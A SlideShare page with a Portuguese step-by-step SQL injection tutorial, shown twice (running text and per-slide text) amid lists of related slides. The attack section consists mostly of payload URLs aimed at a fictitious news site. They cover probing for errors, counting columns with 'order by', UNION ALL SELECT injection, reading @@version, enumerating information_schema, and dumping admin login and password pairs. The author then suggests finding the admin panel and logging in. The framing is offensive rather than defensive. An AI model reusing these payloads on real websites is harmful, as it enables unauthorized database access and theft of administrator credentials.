SlideShare una empresa de Scribd logo
1 de 10
Descargar para leer sin conexión
SQL Injection – Tutorial passo a passo!
Autor: J4rll3y Ribeiro

Duvida ou alguma sugestão: J4rll3y@live.com (MSN)




O que é Banco de dados?!

Banco de dados (ou base de dados) é um conjunto de registros dispostos em estrutura regular que
possibilita a reorganização dos mesmos e produção de informação. Um banco de dados
normalmente agrupa registros utilizáveis para um mesmo fim.


SQL Injection?!




A Injeção de SQL, mais conhecida através do termo americana SQL Injection, é um tipo de ameaça
de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL.
Deste modo a chamada injeção de SQL ocorre quando o atacante consegue inserir uma série de
instruções SQL dentro de uma consulta (query) através da manipulação da entrada de dados de
uma aplicação.

SQL significa Structured Query Language, ou Linguagem de Consulta Estruturada.


Prática!

A técnica conhecida como information_schema, é utilizada para descobrir todas as tabelas e
colunas existentes no banco de dados. Ela faz o trabalho de programas que auxiliam a exploração
do SQL Injection (SQL Helper) para descobrir as tabelas e as colunas. Com este método você tem
sua vida facilitada :)



INFORMATION_SCHEMA

Como já expliquei para vocês, agora iremos capturar do banco de dados as tabelas e as colunas
do banco de dados de um site fictício.



Descobrindo se o site está vulnerável ou Não!
Supomos que temos a seguinte notícia: www.site.com.br/noticias.php?id=15

Para saber se o site está ou não vulnerável a SQL Injection, adicionamos uma ' (aspas simples)
depois de id=15, ficando assim: www.site.com.br/noticias.php?id=15'

Ou então adicionando um null depois de id= ficando assim: www.site.com.br/noticias.php?id=null

Se o site retorna algum erro o site está vulnerável!




Descobrindo o numero de tabelas em um site!

Depois de saber que o site está vulnerável, vamos descobrir as tabelas do site com o comando
order by! Mas como usar o comando order by? Bastante simples, vamos ao exemplo!

Depois do id=15 adicionamos um "Order by" e o numero! Como no exemplo abaixo!

www.site.com.br/noticias.php?id=15 order by 1 - Sem erro

www.site.com.br/noticias.php?id=15 order by 2 - Sem erro

www.site.com.br/noticias.php?id=15 order by 3 - Sem erro

www.site.com.br/noticias.php?id=15 order by 4 - Sem erro

www.site.com.br/noticias.php?id=15 order by 5 - Sem erro

Obs: Se depois de adicionar o "order by e o numero" a pagina carregar normalmente, é porque a
tabela existe na database!
Pagina Carregada normalmente!



Depois de adicionar o "order by e o numero‖ a pagina gerar algum erro, então aquela tabela não
existe como na foto abaixo!




A pagina gerou um Erro, informando que a coluna seis Não existe!

Concluímos que o site tem cinco tabelas =)



Usando o comando Union
Depois de saber quantas tabelas têm no site, vamos usar o comando Union all select!
Para usar o comando é bastante simples: www.site.com.br/noticias.php?id=-15 union all select
,1,2,3,4,5—




Obs: usei um "-" depois do ID= e um "--" depois do numero 5que significa um comentário!

A pagina retornará dois números, por exemplo, nesse site fictício ela gerou os seguintes números
na pagina: 2 e 4!



Descobrindo a Versão da Database

Para descobrir a versão do Banco de dados, vamos adicionar um "@@version" no numero gerado
pelo site, por exemplo: www.site.com.br/noticias.php?id=-15 union all select ,1,@@version,3,4,5—




Depois disso a pagina irá retorna a versão do banco de dados! Muito simples não? :)
Listando todas as tabelas do site

Vamos agora listar todas as tabelas do site, então vamos ao exemplo:
www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(table_name),3,4,5 from
information_schema.tables where table_schema=database()—




A url ficou meio grande né :) Depois desse comando, se tiver tudo certo irá mostrar na pagina todos
as tabelas do site tipo:
admin,Categorias,Download,Empresa,EmpresaImg,Novidades,Produtos,ProdutosImg etc...

A tabela que nos intereça é a ―Admin‖ então vamos aprender a puxar as colunas dessa tabela!



Listando todas as colunas da tabela Admin!
Para listar as colunas é bastante fácil, vamos ao exemplo!

www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(column_name),3,4,5 from
information_schema.columns where table_name=Admin—

Depois de adicionado e a pagina não mostrar as colunas, então vamos ter que converte o Nome
―Admin‖ para Hexdecimal, existe um site que faz isso pra nós!

http://www.dolcevie.com/js/converter.html
Depois é só clicar em ―ASCll To Hex‖ e mostrará isso:




Voltando ao site, vamos adicionar esses números depois de table_name='Admin'

Ficando assim: www.site.com.br/noticias.php?id=-15 union all select
,1,group_concat(table_name),3,4,5 from information_schema.tables where
table_name=0x41646d696e

Obs: usei depois de table_name= um ―0x‖ e tambem tirei os ‖:‖ que separava os numeros!

Depois disso, o site irá retorna as colunas:
Então analisando até aqui, já temos: A coluna (Admin), as Tabelas e o Banco de dados, agora
vamos descobrir o Login e Senha!



Descobrindo o Login e Senha!

Agora é a parte mais fácio! Vamos adicionar na URL isso: www.site.com.br/noticias.php?id=-1
union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin—

Removemos o ‖Group‖ que vinha antes do ―concat‖ e Adicionamos o 0x3a que de Hexadecimal
para Ascii siginifica‖:‖ (dois pontos)

Vejam o Login e Admin do site:




Você poderia usar o ―Limit‖ para encontrar mais administradores e senha, a url ficaria assim:
www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 1,1—

Depois

www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 2,1—

Depois

www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 3,1—

Se existir mais admistradores irá mostrar no site!

Depois disso é só encontrar a área que o admin se loga no site, eu particularmente uso um
programa chamado: AdminPage/Login Finder que pode ser encontrado no Google!
Ele já achou a área do admin, depois disso é so logar no site e correr pro abraço!
Pronto!

Espero que tenham gostado



Conclusão
Nesse tutorial você aprendeu (espero) a fazer um sql injection, lembrando que existem ferramentas
que fazem todo esse trabalho pra nós, mas com ferramenta não tem graça.

Lembrando que usei a wikipédia para o tutorial!

Más contenido relacionado

Destacado (20)

20121007 주일예배, 암1 2장, 아모스가 받은 이상
20121007 주일예배, 암1 2장, 아모스가 받은 이상20121007 주일예배, 암1 2장, 아모스가 받은 이상
20121007 주일예배, 암1 2장, 아모스가 받은 이상
 
19 frutas
19 frutas19 frutas
19 frutas
 
Intent
IntentIntent
Intent
 
Cliente: Janssen | Tema: Campanha de Pediatria
Cliente: Janssen | Tema: Campanha de PediatriaCliente: Janssen | Tema: Campanha de Pediatria
Cliente: Janssen | Tema: Campanha de Pediatria
 
I patten i tataotao
I patten i tataotaoI patten i tataotao
I patten i tataotao
 
Philosophy foroldage 4kr
Philosophy foroldage 4krPhilosophy foroldage 4kr
Philosophy foroldage 4kr
 
Pv assist social (2)
Pv assist social (2)Pv assist social (2)
Pv assist social (2)
 
Ghxgfxgf
GhxgfxgfGhxgfxgf
Ghxgfxgf
 
German sgbd
German sgbdGerman sgbd
German sgbd
 
Gestion basica de la informacion
Gestion basica de la informacionGestion basica de la informacion
Gestion basica de la informacion
 
La familia
La familiaLa familia
La familia
 
Mi biografia
Mi biografiaMi biografia
Mi biografia
 
Alexander jimenez
Alexander jimenezAlexander jimenez
Alexander jimenez
 
É Claro que sim!
É Claro que sim!É Claro que sim!
É Claro que sim!
 
Mapas conceptuales
Mapas conceptualesMapas conceptuales
Mapas conceptuales
 
Slideshare
SlideshareSlideshare
Slideshare
 
Investigacion
Investigacion Investigacion
Investigacion
 
artigos1
artigos1artigos1
artigos1
 
Tic project
Tic projectTic project
Tic project
 
Prueba
PruebaPrueba
Prueba
 

Similar a SQL Injection Tutorial Passo a Passo

Apostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a ParteApostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a ParteIlton Barbosa
 
Aula 1 - Curso de PHP/CI e Tecnologias Relacionadas
Aula 1 - Curso de PHP/CI e Tecnologias RelacionadasAula 1 - Curso de PHP/CI e Tecnologias Relacionadas
Aula 1 - Curso de PHP/CI e Tecnologias RelacionadasCJR, UnB
 
Apontamentos psi m18
Apontamentos psi m18Apontamentos psi m18
Apontamentos psi m18tomascarol2
 
Livropythonmysql 091022073751-phpapp01
Livropythonmysql 091022073751-phpapp01Livropythonmysql 091022073751-phpapp01
Livropythonmysql 091022073751-phpapp01julianabdpaiva
 
Apostila Banco de Dados ETE.pdf
Apostila Banco de Dados ETE.pdfApostila Banco de Dados ETE.pdf
Apostila Banco de Dados ETE.pdfJamieFranks3
 
Seven_Palestra_Banco_Dados_Servidores
Seven_Palestra_Banco_Dados_ServidoresSeven_Palestra_Banco_Dados_Servidores
Seven_Palestra_Banco_Dados_ServidoresCleber Tavares Jr.
 
ODI Series - Exportar Tabelas para Arquivo Texto
ODI Series -  Exportar Tabelas para Arquivo TextoODI Series -  Exportar Tabelas para Arquivo Texto
ODI Series - Exportar Tabelas para Arquivo TextoCaio Lima
 
Fundamentos de SQL - Parte 3 de 8
Fundamentos de SQL - Parte 3 de 8Fundamentos de SQL - Parte 3 de 8
Fundamentos de SQL - Parte 3 de 8Emiliano Barbosa
 
Introdução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptxIntrodução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptxEuclidesDala2
 
Apostila PhP com Wamp, 2a. parte
Apostila PhP com Wamp, 2a. parteApostila PhP com Wamp, 2a. parte
Apostila PhP com Wamp, 2a. parteIlton Barbosa
 
MySQL - Instalação e Alguns comandos de Banco de Dados
MySQL - Instalação e Alguns comandos de Banco de DadosMySQL - Instalação e Alguns comandos de Banco de Dados
MySQL - Instalação e Alguns comandos de Banco de DadosClayton de Almeida Souza
 

Similar a SQL Injection Tutorial Passo a Passo (20)

Apostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a ParteApostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a Parte
 
3260 php truquesmagicos
3260 php truquesmagicos3260 php truquesmagicos
3260 php truquesmagicos
 
Aula 1 - Curso de PHP/CI e Tecnologias Relacionadas
Aula 1 - Curso de PHP/CI e Tecnologias RelacionadasAula 1 - Curso de PHP/CI e Tecnologias Relacionadas
Aula 1 - Curso de PHP/CI e Tecnologias Relacionadas
 
Apontamentos psi m18
Apontamentos psi m18Apontamentos psi m18
Apontamentos psi m18
 
Acessando o MySql com o Python
Acessando o MySql com o PythonAcessando o MySql com o Python
Acessando o MySql com o Python
 
Livropythonmysql 091022073751-phpapp01
Livropythonmysql 091022073751-phpapp01Livropythonmysql 091022073751-phpapp01
Livropythonmysql 091022073751-phpapp01
 
Banco de Dados no Visual Studio
Banco de Dados no Visual StudioBanco de Dados no Visual Studio
Banco de Dados no Visual Studio
 
Apostila Banco de Dados ETE.pdf
Apostila Banco de Dados ETE.pdfApostila Banco de Dados ETE.pdf
Apostila Banco de Dados ETE.pdf
 
Seven_Palestra_Banco_Dados_Servidores
Seven_Palestra_Banco_Dados_ServidoresSeven_Palestra_Banco_Dados_Servidores
Seven_Palestra_Banco_Dados_Servidores
 
Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!
 
Crud
CrudCrud
Crud
 
Vb
VbVb
Vb
 
ODI Series - Exportar Tabelas para Arquivo Texto
ODI Series -  Exportar Tabelas para Arquivo TextoODI Series -  Exportar Tabelas para Arquivo Texto
ODI Series - Exportar Tabelas para Arquivo Texto
 
Fundamentos de SQL - Parte 3 de 8
Fundamentos de SQL - Parte 3 de 8Fundamentos de SQL - Parte 3 de 8
Fundamentos de SQL - Parte 3 de 8
 
Introdução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptxIntrodução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptx
 
Python 04
Python 04Python 04
Python 04
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Apostila PhP com Wamp, 2a. parte
Apostila PhP com Wamp, 2a. parteApostila PhP com Wamp, 2a. parte
Apostila PhP com Wamp, 2a. parte
 
MySQL - Instalação e Alguns comandos de Banco de Dados
MySQL - Instalação e Alguns comandos de Banco de DadosMySQL - Instalação e Alguns comandos de Banco de Dados
MySQL - Instalação e Alguns comandos de Banco de Dados
 
Apostila sqlserver65v1a
Apostila sqlserver65v1aApostila sqlserver65v1a
Apostila sqlserver65v1a
 

Más de gilvanphp (20)

Metal Gear Solid
Metal Gear SolidMetal Gear Solid
Metal Gear Solid
 
Gilvanjjj
GilvanjjjGilvanjjj
Gilvanjjj
 
Gilvanjjj
GilvanjjjGilvanjjj
Gilvanjjj
 
Gilvan
GilvanGilvan
Gilvan
 
1564
15641564
1564
 
vuj
vujvuj
vuj
 
acaf
acafacaf
acaf
 
acaf
acafacaf
acaf
 
acaf
acafacaf
acaf
 
Gilvan Júnior Teste
Gilvan Júnior TesteGilvan Júnior Teste
Gilvan Júnior Teste
 
Gilvan Júnior Teste
Gilvan Júnior TesteGilvan Júnior Teste
Gilvan Júnior Teste
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 
teste 1
teste 1teste 1
teste 1
 

SQL Injection Tutorial Passo a Passo

  • 1. SQL Injection – Tutorial passo a passo! Autor: J4rll3y Ribeiro Duvida ou alguma sugestão: J4rll3y@live.com (MSN) O que é Banco de dados?! Banco de dados (ou base de dados) é um conjunto de registros dispostos em estrutura regular que possibilita a reorganização dos mesmos e produção de informação. Um banco de dados normalmente agrupa registros utilizáveis para um mesmo fim. SQL Injection?! A Injeção de SQL, mais conhecida através do termo americana SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. Deste modo a chamada injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação da entrada de dados de uma aplicação. SQL significa Structured Query Language, ou Linguagem de Consulta Estruturada. Prática! A técnica conhecida como information_schema, é utilizada para descobrir todas as tabelas e colunas existentes no banco de dados. Ela faz o trabalho de programas que auxiliam a exploração do SQL Injection (SQL Helper) para descobrir as tabelas e as colunas. Com este método você tem sua vida facilitada :) INFORMATION_SCHEMA Como já expliquei para vocês, agora iremos capturar do banco de dados as tabelas e as colunas
  • 2. do banco de dados de um site fictício. Descobrindo se o site está vulnerável ou Não! Supomos que temos a seguinte notícia: www.site.com.br/noticias.php?id=15 Para saber se o site está ou não vulnerável a SQL Injection, adicionamos uma ' (aspas simples) depois de id=15, ficando assim: www.site.com.br/noticias.php?id=15' Ou então adicionando um null depois de id= ficando assim: www.site.com.br/noticias.php?id=null Se o site retorna algum erro o site está vulnerável! Descobrindo o numero de tabelas em um site! Depois de saber que o site está vulnerável, vamos descobrir as tabelas do site com o comando order by! Mas como usar o comando order by? Bastante simples, vamos ao exemplo! Depois do id=15 adicionamos um "Order by" e o numero! Como no exemplo abaixo! www.site.com.br/noticias.php?id=15 order by 1 - Sem erro www.site.com.br/noticias.php?id=15 order by 2 - Sem erro www.site.com.br/noticias.php?id=15 order by 3 - Sem erro www.site.com.br/noticias.php?id=15 order by 4 - Sem erro www.site.com.br/noticias.php?id=15 order by 5 - Sem erro Obs: Se depois de adicionar o "order by e o numero" a pagina carregar normalmente, é porque a tabela existe na database!
  • 3. Pagina Carregada normalmente! Depois de adicionar o "order by e o numero‖ a pagina gerar algum erro, então aquela tabela não existe como na foto abaixo! A pagina gerou um Erro, informando que a coluna seis Não existe! Concluímos que o site tem cinco tabelas =) Usando o comando Union Depois de saber quantas tabelas têm no site, vamos usar o comando Union all select!
  • 4. Para usar o comando é bastante simples: www.site.com.br/noticias.php?id=-15 union all select ,1,2,3,4,5— Obs: usei um "-" depois do ID= e um "--" depois do numero 5que significa um comentário! A pagina retornará dois números, por exemplo, nesse site fictício ela gerou os seguintes números na pagina: 2 e 4! Descobrindo a Versão da Database Para descobrir a versão do Banco de dados, vamos adicionar um "@@version" no numero gerado pelo site, por exemplo: www.site.com.br/noticias.php?id=-15 union all select ,1,@@version,3,4,5— Depois disso a pagina irá retorna a versão do banco de dados! Muito simples não? :)
  • 5. Listando todas as tabelas do site Vamos agora listar todas as tabelas do site, então vamos ao exemplo: www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()— A url ficou meio grande né :) Depois desse comando, se tiver tudo certo irá mostrar na pagina todos as tabelas do site tipo: admin,Categorias,Download,Empresa,EmpresaImg,Novidades,Produtos,ProdutosImg etc... A tabela que nos intereça é a ―Admin‖ então vamos aprender a puxar as colunas dessa tabela! Listando todas as colunas da tabela Admin! Para listar as colunas é bastante fácil, vamos ao exemplo! www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=Admin— Depois de adicionado e a pagina não mostrar as colunas, então vamos ter que converte o Nome ―Admin‖ para Hexdecimal, existe um site que faz isso pra nós! http://www.dolcevie.com/js/converter.html
  • 6. Depois é só clicar em ―ASCll To Hex‖ e mostrará isso: Voltando ao site, vamos adicionar esses números depois de table_name='Admin' Ficando assim: www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(table_name),3,4,5 from information_schema.tables where table_name=0x41646d696e Obs: usei depois de table_name= um ―0x‖ e tambem tirei os ‖:‖ que separava os numeros! Depois disso, o site irá retorna as colunas:
  • 7. Então analisando até aqui, já temos: A coluna (Admin), as Tabelas e o Banco de dados, agora vamos descobrir o Login e Senha! Descobrindo o Login e Senha! Agora é a parte mais fácio! Vamos adicionar na URL isso: www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin— Removemos o ‖Group‖ que vinha antes do ―concat‖ e Adicionamos o 0x3a que de Hexadecimal para Ascii siginifica‖:‖ (dois pontos) Vejam o Login e Admin do site: Você poderia usar o ―Limit‖ para encontrar mais administradores e senha, a url ficaria assim: www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin limit 1,1— Depois www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin limit 2,1— Depois www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin limit 3,1— Se existir mais admistradores irá mostrar no site! Depois disso é só encontrar a área que o admin se loga no site, eu particularmente uso um programa chamado: AdminPage/Login Finder que pode ser encontrado no Google!
  • 8. Ele já achou a área do admin, depois disso é so logar no site e correr pro abraço!
  • 9. Pronto! Espero que tenham gostado Conclusão Nesse tutorial você aprendeu (espero) a fazer um sql injection, lembrando que existem ferramentas
  • 10. que fazem todo esse trabalho pra nós, mas com ferramenta não tem graça. Lembrando que usei a wikipédia para o tutorial!